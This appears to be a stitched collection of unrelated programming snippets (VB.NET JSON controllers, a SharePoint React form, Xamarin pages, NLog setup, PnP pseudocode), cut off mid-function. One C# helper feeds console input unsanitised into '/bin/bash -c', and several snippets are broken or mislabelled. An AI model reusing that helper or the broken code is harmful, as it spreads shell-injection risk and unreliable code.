&lt;Project Sdk="Microsoft.NET.Sdk"&gt;

  &lt;PropertyGroup&gt;
    &lt;TargetFramework&gt;netstandard2.0&lt;/TargetFramework&gt;
  &lt;/PropertyGroup&gt;

  &lt;ItemGroup&gt;
    &lt;PackageReference Include="SkiaSharp" Version="1.59.3" /&gt;
    &lt;PackageReference Include="SkiaSharp.Views.Forms" Version="1.59.3" /&gt;
    &lt;PackageReference Include="Xamarin.Forms" Version="2.5.0.122203" /&gt;
  &lt;/ItemGroup&gt;

  &lt;ItemGroup&gt;
    &lt;PackageReference Update="NETStandard.Library" Version="2.0.1" /&gt;
  &lt;/ItemGroup&gt;

&lt;/Project&gt;</pre>


<pre lang="VB.NET">
Function get_people_jsonresult(Optional id As Integer = 0) As JsonResult     
   Dim peoples = From c In db.dtb_people.OrderBy(Function(x) x.c_lastname).ToList
   Return New JsonResult With {.Data = peoples, .JsonRequestBehavior = JsonRequestBehavior.AllowGet}
End Function    </pre>


<pre lang="VB.NET">
Function get_people_jsonresult(Optional id As Integer = 0) As JsonResult     
   Dim peoples As New List(Of people)
   For Each c As dtb_people In db.dtb_people.OrderBy(Function(x) x.c_lastname).ToArray
       Dim peep As New people
       peep.firstname = c.c_firstname
       peep.lastname = c.c_lastname
       peep.id = c.c_Id
       peoples.Add(peep)
   Next 
   Return Json(peoples, JsonRequestBehavior.AllowGet) 
End Function    

Public Class class_people
        &lt;JsonProperty(PropertyName:="fname")&gt; Public Property firstname As String
        &lt;JsonProperty(PropertyName:="lname")&gt; Public Property lastname As String
        &lt;JsonProperty(PropertyName:="id")&gt; Public Property id As Integer
End Class</pre>


<pre lang="VB.NET">
Function get_people_jsonresult(Optional id As Integer = 0) As JsonResult
    Dim c As Object = From c In db.dtb_people.OrderBy(Function(x) x.c_lastname).ToList 
    Dim q = New With {
    .firstname = c.c_firstname,
    .lastname = c.c_lastname,
    .id = c.c_Id
    }
    Return Json(q, JsonRequestBehavior.AllowGet)
End Function</pre>


<pre lang="VB.NET">
Function get_people_jsonresult(Optional id As Integer = 0) As JsonResult
    Dim q As Object = From c In db.dtb_people.OrderBy(Function(x) x.c_lastname).ToList Select New With {
    .firstname = c.c_firstname,
    .lastname = c.c_lastname,
    .id = c.c_Id
    }
    Return Json(q, JsonRequestBehavior.AllowGet)
End Function</pre>


<pre lang="VB.NET">
Function get_people_jsonresult(Optional id As Integer = 0) As JsonResult
    Dim q As Object = (From c In db.dtb_people.Where(Function(x) x.c_Id = id) Select New With {
        .firstname = c.c_firstname,
        .lastname = c.c_lastname,
        .id = c.c_Id
    }).Single()
    Return Json(q, JsonRequestBehavior.AllowGet)
End Function</pre>


<pre lang="VB.NET">
Function get_people_jsonresult(Optional id As Integer = 0) As JsonResult
    Dim c As dtb_people = db.dtb_people.Where(Function(x) x.c_Id = 1).Single
    q = New With {
        .firstname = c.c_firstname,
        .lastname = c.c_lastname,
        .id = c.c_Id
    }
    Return Json(q, JsonRequestBehavior.AllowGet)
End Function</pre>


<pre lang="VB.NET">
Function get_people_jsonresult(Optional id As Integer = 0) As JsonResult
    Dim c As dtb_people = db.dtb_people.Where(Function(x) x.c_Id = 1).Single
    Dim d As New Dictionary(Of String, String) From {
         {"firstname", c.c_firstname},
         {"lastname", c.c_lastname},
         {"id", c.c_Id}
     }
    Return Json(d, JsonRequestBehavior.AllowGet)
End Function</pre>


<pre lang="VB.NET">
Function get_people_jsonresult(Optional id As Integer = 0) As JsonResult
    Dim c As dtb_people = db.dtb_people.Where(Function(x) x.c_Id = 1).Single
    'multiline string literal
    Dim jsonstr As String = "{
    'firstname':'" + c.c_firstname + "',
    'lastname':'" + c.c_lastname + "',
    'id':" + c.c_Id.ToString + "
    }"
   Dim d As Dictionary(Of String, String) = _
       JsonConvert.DeserializeObject(Of Dictionary(Of String, String))(jsonstr)
   Return Json(d, JsonRequestBehavior.AllowGet)
End Function</pre>


<pre lang="VB.NET">
Function get_people_ContentResult(Optional id As Integer = 0) As ContentResult
    Dim c As dtb_people = db.dtb_people.Where(Function(x) x.c_Id = 1).Single
    Dim jsonstr As String = "{
    ""firstname"":""" + c.c_firstname + """,
    ""lastname"":""" + c.c_lastname + """,
    ""id"":" + c.c_Id.ToString + "
    }"
    Return Content(jsonstr.Replace(vbCrLf, ""), "application/json")
End Function</pre>


<pre lang="VB.NET">
Function get_people_ContentResult(Optional id As Integer = 0) As ContentResult
    Dim c As dtb_people = db.dtb_people.Where(Function(x) x.c_Id = 1).Single
    Dim jsonstr As JObject = New JObject(
        New JProperty("firstname", c.c_firstname),
        New JProperty("lastname", c.c_lastname),
        New JProperty("id", c.c_Id)
    )
    Return Content(jsonstr.ToString(), "application/json")
End Function</pre>


<pre lang="VB.NET">
Function get_people_string(Optional id As Integer = 0) As String
    Dim c As dtb_people = db.dtb_people.Where(Function(x) x.c_Id = id).Single
    Dim m As Object = New With {.firstname = c.c_firstname, .lastname = c.c_lastname, .id = c.c_Id}
    Dim serializer As New Script.Serialization.JavaScriptSerializer()
    Return serializer.Serialize(m)
End Function</pre>


<pre lang="VB.NET">
Function get_people_string(Optional id As Integer = 0) As String
    Dim jsonstr2 As String = $"{{
        'firstname': '{c.c_firstname}',
        'lastname':'{c.c_lastname}' ,
        'id':{c.c_Id.ToString}
    }}"
    Response.Clear()
    Response.ContentType = "application/json; charset=utf-8"
    Response.Write(jsonstr)
    Response.End()
End Function</pre>


<pre lang="VB.NET">
Function get_people_ContentResult(Optional id As Integer = 0) As String
    Dim d As New Dictionary(Of String, String) From {
         {"James", 9001},
         {"Jo", 3474},
         {"Jess", 11926}
     }
    Return JsonConvert.SerializeObject(d, Formatting.Indented)
End Function</pre>


<pre lang="React">
public render(): React.ReactElement&lt;IReactTesterProps&gt; {
   return (
   
     &lt;form &gt;
     &lt;h1&gt;Contact IT Department&lt;/h1&gt;
     &lt;fieldset className={styles.formGroup}&gt;
       &lt;label htmlFor='formName' title='Full Name:' &gt;Full Name:&lt;/label&gt;

       &lt;input id='formName' className='form-input' name='name' type='text' ref='formName' required onChange={this.handleChange} value={this.state.name} /&gt;
     &lt;/fieldset&gt;
     
     &lt;fieldset className={styles.formGroup}&gt;
     &lt;label htmlFor='formName' title='Full Name:' &gt;Email:&lt;/label&gt;
       &lt;input id='formEmail' className='form-input' name='email' type='email' required onChange={this.handleChange} value={this.state.email} /&gt;
     &lt;/fieldset&gt;
     
     &lt;fieldset className={styles.formGroup}&gt;
     &lt;label htmlFor='formName' title='subject:' &gt;subject:&lt;/label&gt;

       &lt;input id='formSubject' className='form-input' name='subject' type='text' required onChange={this.handleChange} value={this.state.subject} /&gt;
     &lt;/fieldset&gt;
     
     &lt;fieldset className={styles.formGroup}&gt;
     &lt;label htmlFor='formName' title='Full Name:' &gt;Message:&lt;/label&gt;

       &lt;textarea id='formMessage' className='form-textarea' name='message' required onChange={this.handleChange}&gt;&lt;/textarea&gt;
     &lt;/fieldset&gt;
     
     &lt;div className={styles.formGroup}&gt;
       &lt;input id='formButton' className={styles.btn} type='submit' placeholder='Send message' /&gt;
     &lt;/div&gt;
   &lt;/form&gt;
  
   );
 }</pre>


<pre lang="JavaScript">
private getAccessToken()
 {
   
     jQuery.ajax({  
         url: this.props.siteUrl+"/_api/contextinfo",  
         type: "POST",  
         headers:{'Accept': 'application/json; odata=verbose;', "Content-Type": "application/json;odata=verbose",  
        },  
         success: (resultData)=&gt; {  
           
           this.setState({  
             FormDigestValue: resultData.d.GetContextWebInformation.FormDigestValue
           });  
         },  
         error : (jqXHR, textStatus, errorThrown) =&gt;{  
         }  
     });  
 }</pre>


<pre lang="JavaScript">
private handleChange = (e) =&gt; {
   let newState = {};

   newState[e.target.name] = e.target.value;

   this.setState(newState);
 }
 private handleSubmit  (e) {
  e.preventDefault();

  let requestData = {
    __metadata:  
    {  
        type: "SP.Data.ContactListListItem"  
    },  
    Title: this.state.name,  
    Email: this.state.email,
    Subject: this.state.subject,
    Message: this.state.message

  };
  if (requestData.Title.length &lt; 1 || requestData.Email.length &lt; 1 || requestData.Subject.length &lt; 1 || requestData.Message.length &lt; 1) {
    return false;
  }

  jQuery.ajax({
    url:this.props.siteUrl+ "/_api/web/lists/getByTitle('ContactList')/items",  
      type: "POST",  
      data: JSON.stringify(requestData),  
      headers:  
      {  
          "Accept": "application/json;odata=verbose",  
          "Content-Type": "application/json;odata=verbose",  
          "X-RequestDigest": this.state.FormDigestValue,
          "IF-MATCH": "*",  
          "X-HTTP-Method": "POST" 
      },  
      success:(data, status, xhr) =&gt; 
      {  
         alert("Submitted successfully");
      },  
      error: (xhr, status, error)=&gt;
      {  
         alert(JSON.stringify(xhr.responseText));
      }  
  });
  
  this.setState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });
}</pre>


<pre lang="HTML">
&lt;form onSubmit={this.handleSubmit}&gt;
     &lt;h1&gt;Contact IT Department&lt;/h1&gt;
     &lt;fieldset className={styles.formGroup}&gt;
       &lt;label htmlFor='formName' title='Full Name:' &gt;Full Name:&lt;/label&gt;
        ....
        ......
        .....
        .
        .
    
   &lt;/form&gt;</pre>


<pre lang="React">
import * as React from 'react';
import styles from './ReactTester.module.scss';
import { IReactTesterProps } from './IReactTesterProps';
import { escape } from '@microsoft/sp-lodash-subset';
import * as jQuery from 'jquery';

export interface IRequetState{
   name: string;
     email: string;
     subject: string;
     message: string;
     FormDigestValue:string;
 }

 var timerID;
export default class ReactTester extends React.Component&lt;IReactTesterProps, IRequetState&gt; {
 
 
 constructor(props) {
   super(props);
   this.state = {
     name: this.props.fullName,
     email: this.props.email,
     subject: '',
     message: '',
     FormDigestValue:''
   };
   this.handleSubmit=this.handleSubmit.bind(this);
   this.handleChange=this.handleChange.bind(this);
 }
 private getAccessToken()
 {
   
     jQuery.ajax({  
         url: this.props.siteUrl+"/_api/contextinfo",  
         type: "POST",  
         headers:{'Accept': 'application/json; odata=verbose;', "Content-Type": "application/json;odata=verbose",  
        },  
         success: (resultData)=&gt; {  
           
           this.setState({  
             FormDigestValue: resultData.d.GetContextWebInformation.FormDigestValue
           });  
         },  
         error : (jqXHR, textStatus, errorThrown) =&gt;{  
         }  
     });  
 }
 private handleChange = (e) =&gt; {
   let newState = {};

   newState[e.target.name] = e.target.value;

   this.setState(newState);
 }
 private handleSubmit  (e) {
  e.preventDefault();

  let requestData = {
    __metadata:  
    {  
        type: "SP.Data.ContactListListItem"  
    },  
    Title: this.state.name,  
    Email: this.state.email,
    Subject: this.state.subject,
    Message: this.state.message

  };
  if (requestData.Title.length &lt; 1 || requestData.Email.length &lt; 1 || requestData.Subject.length &lt; 1 || requestData.Message.length &lt; 1) {
    return false;
  }

  jQuery.ajax({
    url:this.props.siteUrl+ "/_api/web/lists/getByTitle('ContactList')/items",  
      type: "POST",  
      data: JSON.stringify(requestData),  
      headers:  
      {  
          "Accept": "application/json;odata=verbose",  
          "Content-Type": "application/json;odata=verbose",  
          "X-RequestDigest": this.state.FormDigestValue,
          "IF-MATCH": "*",  
          "X-HTTP-Method": "POST" 
      },  
      success:(data, status, xhr) =&gt; 
      {  
         alert("Submitted successfully");
      },  
      error: (xhr, status, error)=&gt;
      {  
         alert(JSON.stringify(xhr.responseText));
      }  
  });
  
  this.setState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });
}
 public componentDidMount() {
   this.getAccessToken();
   timerID=setInterval(
     () =&gt;this.getAccessToken(),300000); 
}
public componentWillUnmount()
{
 clearInterval(timerID);
 
}

 public render(): React.ReactElement&lt;IReactTesterProps&gt; {
   return (
   
     &lt;form onSubmit={this.handleSubmit}&gt;
     &lt;h1&gt;Contact IT Department&lt;/h1&gt;
     &lt;fieldset className={styles.formGroup}&gt;
       &lt;label htmlFor='formName' title='Full Name:' &gt;Full Name:&lt;/label&gt;

       &lt;input id='formName' className='form-input' name='name' type='text' ref='formName' required onChange={this.handleChange} value={this.state.name} /&gt;
     &lt;/fieldset&gt;
     
     &lt;fieldset className={styles.formGroup}&gt;
     &lt;label htmlFor='formName' title='Full Name:' &gt;Email:&lt;/label&gt;
       &lt;input id='formEmail' className='form-input' name='email' type='email' required onChange={this.handleChange} value={this.state.email} /&gt;
     &lt;/fieldset&gt;
     
     &lt;fieldset className={styles.formGroup}&gt;
     &lt;label htmlFor='formName' title='subject:' &gt;subject:&lt;/label&gt;

       &lt;input id='formSubject' className='form-input' name='subject' type='text' required onChange={this.handleChange} value={this.state.subject} /&gt;
     &lt;/fieldset&gt;
     
     &lt;fieldset className={styles.formGroup}&gt;
     &lt;label htmlFor='formName' title='Full Name:' &gt;Message:&lt;/label&gt;

       &lt;textarea id='formMessage' className='form-textarea' name='message' required onChange={this.handleChange}&gt;&lt;/textarea&gt;
     &lt;/fieldset&gt;
     
     &lt;div className={styles.formGroup}&gt;
       &lt;input id='formButton' className={styles.btn} type='submit' placeholder='Send message' /&gt;
     &lt;/div&gt;
   &lt;/form&gt;
  
   );
 }
}</pre>


<pre lang="C#">
private async void buttonGetFile_Click(object sender, RoutedEventArgs e)
{
    try
    {
        _cts = new CancellationTokenSource();
        textBlockResult.Text = string.Empty;
        labelPlus.Content = string.Empty;
        labelProgress.Content = string.Empty;

        buttonGetFile.IsEnabled = false;
        textBlockResult.Text = await GetFileContentAsync(textBoxFileName.Text, _cts.Token);

    }
    catch (OperationCanceledException exCancel)
    {
        MessageBox.Show(exCancel.Message);
    }
    catch (Exception ex)
    {
        MessageBox.Show(ex.Message);
    }
    finally
    {
        buttonGetFile.IsEnabled = true;
    }
}</pre>


<pre lang="C#">
private async Task&lt;string&gt; GetFileContentAsync(string fileName, CancellationToken ct)
{
    // mimic long running process ...
    for(int i = 0; i &lt;= 100; i++)
    {
        if (!ct.IsCancellationRequested)
        {
            // mimic some long running process ...
            await Task.Delay(50);
            // update ui, we use dispatch to update the ui thread
            this.Dispatcher.Invoke(() =&gt; SetProgress(i.ToString(), fileName));
        }
    }

    using (StreamReader reader = new StreamReader(fileName))
    {
        if (!ct.IsCancellationRequested)
        {
            string fileContent = await reader.ReadToEndAsync();
            return fileContent;
        }
        throw new OperationCanceledException
             ($"File-read-async of {fileName} has been canceled by user !");
    }
}

private void SetProgress(string progress, string fileName)
{
   labelProgress.Content = $"file {fileName} - {progress} % processed ...";
}

private void buttonCancel_Click(object sender, RoutedEventArgs e)
{
   if (_cts != null)
      _cts.Cancel();
}</pre>


<pre lang="C#">
using Contracts;
using NLog;
using System;

namespace LoggerService
{
    public class LoggerManager : ILoggerManager
    {
        private static ILogger logger = LogManager.GetCurrentClassLogger();

        public LoggerManager()
        {
        }

        public void LogDebug(string message)
        {
            logger.Debug(message);
        }

        public void LogError(string message)
        {
            logger.Error(message);
        }

        public void LogInfo(string message)
        {
            logger.Info(message);
        }

        public void LogWarn(string message)
        {
            logger.Warn(message);
        }
    }
}</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="utf-8" ?&gt;
&lt;nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      autoReload="true"
      internalLogLevel="Trace"
      internalLogFile="d:Projects\Blog-AccountOwner\Project\internal_logs\internallog.txt"&gt;

  &lt;extensions&gt;
    &lt;add assembly="NLog.Extended" /&gt;
  &lt;/extensions&gt;

  &lt;targets&gt;
    &lt;target name="logfile" xsi:type="File"
            fileName="d:/Projects/Blog-AccountOwner/Project/logs/${shortdate}_logfile.txt"
            layout="${longdate} ${level:uppercase=true} ${message}"/&gt;
  &lt;/targets&gt;

  &lt;rules&gt;
    &lt;logger name="*" minlevel="Debug" writeTo="logfile" /&gt;
  &lt;/rules&gt;
&lt;/nlog&gt;</pre>


<pre lang="C#">
[Route("api/[controller]")]
public class ValuesController : Controller
{
    private ILoggerManager _logger;

    public ValuesController(ILoggerManager logger)
    {
        _logger = logger;
    }
    // GET api/values
    [HttpGet]
    public IEnumerable&lt;string&gt; Get()
    {
        _logger.LogInfo("Here is info message from our values controller.");
        _logger.LogDebug("Here is debug message from our values controller.");
        _logger.LogWarn("Here is warn message from our values controller.");
        _logger.LogError("Here is error message from our values controller.");

        return new string[] { "value1", "value2" };
    }
}</pre>



<pre lang="C++">
class Program
{
    static void Main(string[] args)
    {
        Console.WriteLine("Hello World!");

        string example = "";

        while (!example.ToLower().Equals("x"))
        {
            example = Console.ReadLine();
            Console.WriteLine(example);
            Console.WriteLine(example.Bash());
        }

        //Console.Read();
    }
}</pre>


<pre lang="C#">
public static class ShellHelper
{
    public static string Bash(this string cmd)
    {
        var escapedArgs = cmd.Replace("\"", "\\\"");

        var process = new Process()
        {
            StartInfo = new ProcessStartInfo
            {
                FileName = "/bin/bash",
                Arguments = $"-c \"{escapedArgs}\"",
                RedirectStandardOutput = true,
                UseShellExecute = false,
                CreateNoWindow = true,
            }
        };
        process.Start();
        string result = process.StandardOutput.ReadToEnd();
        process.WaitForExit();
        return result;
    }
}</pre>



<pre lang="C++">

      private:
         Ui::QTCalcStarClass ui;
         QApplication * m_ptrApp;
         QTWorkbook * m_ptrWorkbook;

         m_ptrWorkbook = new QTWorkbook(ptrParentWidget);
         m_ptrWorkbook-&gt;OnResizeAll();
         m_ptrWorkbook-&gt;show();</pre>


<pre lang="XML">
&lt;!--This is XAML part--&gt;

&lt;? xml version = "1.0" encoding = "utf-8"?&gt; 
&lt;ContentPage xmlns = "http://xamarin.com/schemas/2014/forms" 
        xmlns: x = "http://schemas.microsoft.com/winfx/2009/xaml" 
        x: Class = "Sample.MyContentPage" 
        Title = "ContentPage Presentation" Padding = "10"&gt; 
   &lt;StackLayout&gt; 
     &lt;Label Text = "Welcome to Xamarin.Forms !" /&gt; 
   &lt;/StackLayout&gt; 
&lt;/ContentPage&gt;</pre>


<pre lang="C#">
// 
// Any source code blocks look like this 
//
public App() {
var tabbedPage = new TabbedPage(); 
tabbedPage.Children.Add(new Page1()); 
tabbedPage.Children.Add(new Page2()); 
tabbedPage.Children.Add(new Page3()); 
MainPage = tabbedPage 
}</pre>


<pre lang="XML">
&lt;TabbedPage xmlns="http://xamarin.com/schemas/2014/forms"
xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
xmlns:mypages="clr-namespace:MyApp.Pages;assembly=MyApp"  
            x:Class="MyApp.Pages.Navigation"&gt; 
&lt;TabbedPage.Children&gt; 
   &lt;mypages:Page1 Title="Page 1"/&gt;
   &lt;mypages:Page2 Title="Page 2"/&gt;
   &lt;mypages:Page3 Title="Page 3"/&gt; 
&lt;/TabbedPage.Children&gt;  
&lt;/TabbedPage&gt;</pre>


<pre lang="C#">
public partial class App : Application
    {
        public App ()
        {
            InitializeComponent();

            MainPage = new MasterProject.Views.MasterPage();
            CarouselPage carouselPage = new CarouselPage(); 
            carouselPage.Children.Add(new MainPage()); 
            carouselPage.Children.Add(new Page1()); 
            carouselPage.Children.Add(new Page2()); 
            MainPage = carouselPage; 
}</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="UTF-8"?&gt; 
&lt;CarouselPage 
    xmlns="http://xamarin.com/schemas/2014/forms" 
    xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml" 
    xmlns:local="clr-namespace:NogginXamarinFormSample;assembly=CarouselPage"
     x:Class="CarouselPage.Sample"&gt; 
    &lt;CarouselPage.Children&gt; 
        &lt;local:MyPage1 /&gt; 
        &lt;local:MyPage2 /&gt; 
        &lt;local:MyPage3 /&gt; 
    &lt;/CarouselPage.Children&gt; 
&lt;/CarouselPage&gt;</pre>


<pre lang="XML">
 &lt;MasterDetailPage.Master &gt; 
        &lt;ContentPage Padding="10" BackgroundColor="Gray" 
        Title="Master" Icon="hamburger.png"&gt; 
            &lt;ContentPage.Content&gt; 
                &lt;StackLayout Margin="5,30,5,5"&gt; 
                    &lt;Label Text="Master Page"&gt; 
                    &lt;/Label&gt; 
                    &lt;Button x:Name="goToPage1" 
                    Text="Go to Page 1" BackgroundColor="Yellow" 
                     Clicked="goToPage1_Clicked"&gt;&lt;/Button&gt;
                    &lt;Button x:Name="goToPage2" 
                    Text="Go to Page 2" BackgroundColor="Red" 
                     Clicked="goToPage2_Clicked"&gt;&lt;/Button&gt; 
                    &lt;Button x:Name="goToPage3" 
                    Text="Go to Page 3" BackgroundColor="Green" 
                     Clicked="goToPage3_Clicked"&gt;&lt;/Button&gt; 
               &lt;/StackLayout&gt; 
           &lt;/ContentPage.Content&gt; 
        &lt;/ContentPage&gt; 
    &lt;/MasterDetailPage.Master&gt; 
 &lt;MasterDetailPage.Detail&gt; 
        &lt;ContentPage Padding="10"&gt; 
            &lt;ContentPage.Content&gt; 
                &lt;StackLayout Margin="5,30,5,5"&gt; 
                    &lt;Label Text="Detail  Page"&gt; 
                    &lt;/Label&gt; 
                &lt;/StackLayout&gt; 
            &lt;/ContentPage.Content&gt; 
        &lt;/ContentPage&gt; 
    &lt;/MasterDetailPage.Detail&gt;</pre>


<pre lang="C#">
public MasterPage (){ InitializeComponent ();
            Detail = new NavigationPage(new Page1());
            //Summary:
            //Gets or sets a value that indicates whether or not the visual element 
            //that is represented by the Xamarin.Forms.MasterDetailPage.Master property 
            //is presented to the user.
            //    Remarks:
            //Setting this property causes the Xamarin.Forms.MasterDetailPage.IsPresentedChanged 
            //event to be raised.
            //We initialize it to false
            IsPresented = false;
}
        void goToPage1_Clicked(object sender, System.EventArgs e)
        {
            //We will display the first page
            Detail = new NavigationPage(new Page1());
            IsPresented = false;
        }
}</pre>


<pre lang="C#">
// TypeSpec objects are type descriptions that can be modified at runtime
TypeSpec personSpec = new TypeSpec()
{
   Name="PersonType",
 
   // Notice the strongly-typed properties
   Properties =
   {
       new Property&lt;int&gt;("Age"),
       new Property&lt;string&gt;("Name")
   },
};

// This will return true
bool isPerson = personSpec.LooksLike&lt;IPerson&gt;();
var person = personSpec.CreateDuck&lt;IPerson&gt;();

// Use the person object just like any other POCO
person.Age = 18;
person.Name = "Me";
// ...</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;Root xmlns="LinFu.Reflection.Extensions, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"
xmlns:def="Definition"  xmlns:set="Setters"&gt;
  &lt;TypeSpec def:Name="PersonType" Name="PersonType"&gt;
    &lt;Properties&gt;
      &lt;PropertySpec PropertyName="Name"
                    PropertyType="System.String"&gt;
        &lt;set:Behavior&gt;
          &lt;PropertyBag/&gt;
        &lt;/set:Behavior&gt;
      &lt;/PropertySpec&gt;     
      &lt;PropertySpec PropertyName="Age"
                    PropertyType="System.Int32"&gt;
        &lt;set:Behavior&gt;
          &lt;PropertyBag/&gt;
        &lt;/set:Behavior&gt;
      &lt;/PropertySpec&gt;
     
    &lt;/Properties&gt;
  &lt;/TypeSpec&gt;

&lt;/Root&gt;</pre>


<pre lang="C#">
// Load the engine into the container
string directory = AppDomain.CurrentDomain.BaseDirectory;
SimpleContainer container = new SimpleContainer();
Loader loader = new Loader(container);
loader.LoadDirectory(directory, "*.dll");

IMxEngine engine = container.GetService&lt;IMxEngine&gt;();

// The instance holder will 
// store the object graph once
// it's been instantiated by the engine
IInstanceHolder holder = new DefaultInstanceHolder();
string file = @"C:\YourDirectory\SimpleTypeSpecSample.xml";
engine.Execute(file, holder);

TypeSpec spec = holder.GetInstance&lt;TypeSpec&gt;("PersonType");
bool isPerson = spec.LooksLike&lt;IPerson&gt;();

// Use the person class normally
IPerson person = spec.CreateDuck&lt;IPerson&gt;();
person.Age = 18;
person.Name = "Me";</pre>


<pre lang="C#">
public Bitmap BitmapX { get; set; }

public int WidthG { get; set; }

public int HeightG { get; set; }

public string NameG { get; set; }

/// &lt;summary&gt;
/// returns the current Graphic Graphics object
/// &lt;/summary&gt;
public Graphics Graphic =&gt; (graphic);

/// &lt;summary&gt;
/// returns true if the graphics object exists; false otherwise
/// &lt;/summary&gt;
public bool GraphicsBufferExists =&gt; (graphic != null);</pre>


<pre lang="C#">
/// &lt;summary&gt;
/// Recalculate the form and groupbox positions.
/// &lt;/summary&gt;
private void RecalculateSizes()
{
    if (this.button_GB.Top &lt; this.rounded_button_RB.Bottom)
    {
        this.button_GB.Top = this.rounded_button_RB.Bottom;
        this.border_GB.Top = this.button_GB.Bottom + 5;
    }
    
    if (this.Height &lt; this.border_GB.Bottom + 100)
    {
        this.Height = this.border_GB.Bottom + 100;
    }
    
    this.Invalidate();
}</pre>


<pre lang="C#">
private void Button_Click(object sender, EventArgs e)
{
    Button button = (Button)sender;
    string tag = button.Tag.ToString().ToUpper().Trim();
    
    switch (tag)
    {
        case "ENLARGE":
            // Scale form, AutoScaleMode.Font must be set for this to work.
            this.Font = new Font(this.Font.Name, this.Font.Size + 2);
            break;</pre>


<pre lang="VB.NET">
Imports TextRuler

'   getting info from rich-text box

Private Sub RTBToRuler()
TextRuler1.NoMargins = True : TextRuler1.PrintableWidth = RichTextBox1.RightMargin
TextRuler1.Units = MarkerType.Inches
TextRuler1.ScrollingOffset = TextRuloer1.UnitsToPixels(1/4) 'scroll past first quarter-inch
TextRuler1.FirstLineIndent = RichTextBox1.SelectionIndent
TextRuler1.HangingIndent = RichTextBox1.SelectionHangingIndent
TextRuler1.RightIndent = RichTextBox1.SelectionRightIndent
TextRuler1.TabPositions = RichTextBox1.SelectionTabs
End Sub

'   setting info into rich-text box

Private Sub RulerToRTB()
RichTextBox1.SelectionIndent = TextRuler1.FirstLineIndent
RichTextBox1.SelectionHangingIndent = TextRuler1.HangingIndent
RichTextBox1.SelectionRightIndent = TextRuler1.RightIndent
RichTextBox1.SelectionTabs = TextRuler1.TabPositions
End Sub

'   event

Public Sub IndentsChanged(sender As Object, e As MarginOrIndentEventArgs) _
   Handles TextRuler1.IndentsChanged
RulerToRTB()
'   display what was changed and current right-indent value in current units
Dim s As String = e.MarkerType.ToString.Replace("_", " ") _
   &amp; " changed. Right Indent = " _
   &amp; TextRuler1.PixelsToUnits(TextRuler1.RightIndent).ToString _
If TextRuler1.Units = UnitType.Inches Then
   s &amp;= " inches"
 Else
   s &amp;= " centimeters"
End If
Label1.Text = s
End Sub</pre>


<pre lang="C++">
Plugged:    // device is plugged event { USB hub PDO }
{
    PnpEnumerate(PDO);
}

Unplugged:    // device is unplugged event { USB hub PDO }
{
    PnpEnumerate(PDO);
}

bool SafeRemove(PDO)                // safe remove request (from tray) { USB mass storage PDO }
{
    // handle removal and ejection relations...
    b = PnpQueryRemoveDevice(PDO);
    if (b) PnpRemoveDevice(PDO);
    else PnpCancelRemoveDevice(PDO);
    return b;
}

bool Enable(PDO)        // enable request (from device manager)
{
    PnpGatherInfo(PDO);
    PnpSendRequest(PDO, { IRP_MN_DEVICE_ENUMERATED });
    PnpConstructStack(PDO);
    PnpSendRequest(PDO, { 0x18 });
    ResInfo[0] = PnpSendRequest(PDO, { IRP_MN_QUERY_RESOURCE_REQUIREMENTS });
    ResInfo[1] = PnpSendRequest(PDO, { IRP_MN_FILTER_RESOURCE_REQUIREMENTS });
    SetInfo(PDO, ResInfo);
    b = PnpSendRequest(PDO, { IRP_MN_START_DEVICE });
    if (b)
    {
        CapInfo = PnpSendRequest(PDO, { IRP_MN_QUERY_CAPABILITIES });
        SetInfo(PDO, CapInfo);
        StateInfo = PnpSendRequest(PDO, { IRP_MN_QUERY_PNP_DEVICE_STATE });
        SetInfo(PDO, StateInfo);
        SetState(PDO, STATE_STARTED);
        PnpEnumerate(PDO);
    }
    else
    {
        PnpSendRequest(PDO, { IRP_MN_REMOVE_DEVICE });
        SetState(PDO, STATE_FAILED);
    }
    return b;
}

bool Disable(PDO)        // disable request (from device manager)
{
    // handle removal relations...
    b = PnpQueryRemoveDevice(PDO);
    if (b)
    {
        PnpRemoveDevice(PDO);
        PnpGatherInfo(PDO);
        PnpSendRequest(PDO, { IRP_MN_QUERY_REMOVE_DEVICE });
        PnpSendRequest(PDO, { IRP_MN_REMOVE_DEVICE });
        PnpSendRequest(PDO, { IRP_MN_DEVICE_ENUMERATED });
    }
    else
    {
        PnpCancelRemoveDevice(PDO);
    }
    return b;
}

void PnpRemoveDevice(PDO)
{
    Children[] = GetChildren(PDO);
    for each Child in Children
    {
        PnpRemoveDevice(Child);
    }
    PnpSendRequest(PDO, { IRP_MN_REMOVE_DEVICE });
    SetState(PDO, STATE_REMOVED);
}

void PnpCancelRemoveDevice(PDO)
{
    PnpSendRequest(PDO, { IRP_MN_CANCEL_REMOVE_DEVICE });
    SetState(PDO, STATE_STARTED);
    Children[] = GetChildren(PDO);
    for each Child in Children
    {
        PnpCancelRemoveDevice(Child);
    }
}

void PnpSurpriseRemoval(PDO)
{
    Children[] = GetChildren(PDO);
    for each Child in Children
    {
        PnpSurpriseRemoval(Child);
    }
    PnpSendRequest(PDO, { IRP_MN_SURPRISE_REMOVAL  });
    SetState(PDO, STATE_SURPRISE_REMOVED);
}

bool PnpQueryRemoveDevice(PDO)
{
    Children[] = GetChildren(PDO);
    for each Child in Children
    {
        if (!PnpQueryRemoveDevice(Child)) return false;
    }
    b = PnpSendRequest(PDO, { IRP_MN_QUERY_REMOVE_DEVICE });
    if (b) SetState(PDO, STATE_REMOVE_PENDING);
    return b;
}

void PnpGatherInfo(PDO)
{
    IdInfo[0] = PnpSendRequest(PDO, { IRP_MN_QUERY_ID, BusQueryDeviceID });
    IdInfo[1] = PnpSendRequest(PDO, { IRP_MN_QUERY_ID, BusQueryInstanceID });
    IdInfo[2] = PnpSendRequest(PDO, { IRP_MN_QUERY_ID, BusQueryHardwareIDs });
    IdInfo[3] = PnpSendRequest(PDO, { IRP_MN_QUERY_ID, BusQueryCompatibleIDs });
    IdInfo[4] = PnpSendRequest(PDO, { IRP_MN_QUERY_ID, BusQueryContainerID });
    SetInfo(PDO, IdInfo);
    CapInfo = PnpSendRequest(PDO, { IRP_MN_QUERY_CAPABILITIES });
